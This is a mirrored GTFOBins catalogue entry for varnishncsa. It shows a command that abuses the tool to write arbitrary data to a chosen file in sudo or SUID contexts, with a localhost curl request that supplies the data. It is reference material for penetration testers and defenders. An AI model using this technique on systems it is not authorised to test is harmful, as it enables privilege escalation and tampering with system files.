1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-07 06:31:33 +01:00
GTFOBins.github.io/_gtfobins/varnishncsa
2026-01-14 23:30:27 +01:00

19 lines
460 B
Plaintext

---
comment: |-
A running `varnishd` instance must be available.
functions:
file-write:
- binary: false
code: |-
varnishncsa -g request -q 'ReqURL ~ "/xxxxxxxxxx"' -F '%{yyy}i' -w /path/to/output-file
comment: |-
The command hangs, so the trigger command must be performed asynchronously or in another terminal:
```
curl -H 'xxx: DATA' http://localhost:6081/xxxxxxxxxx
```
contexts:
sudo:
suid:
...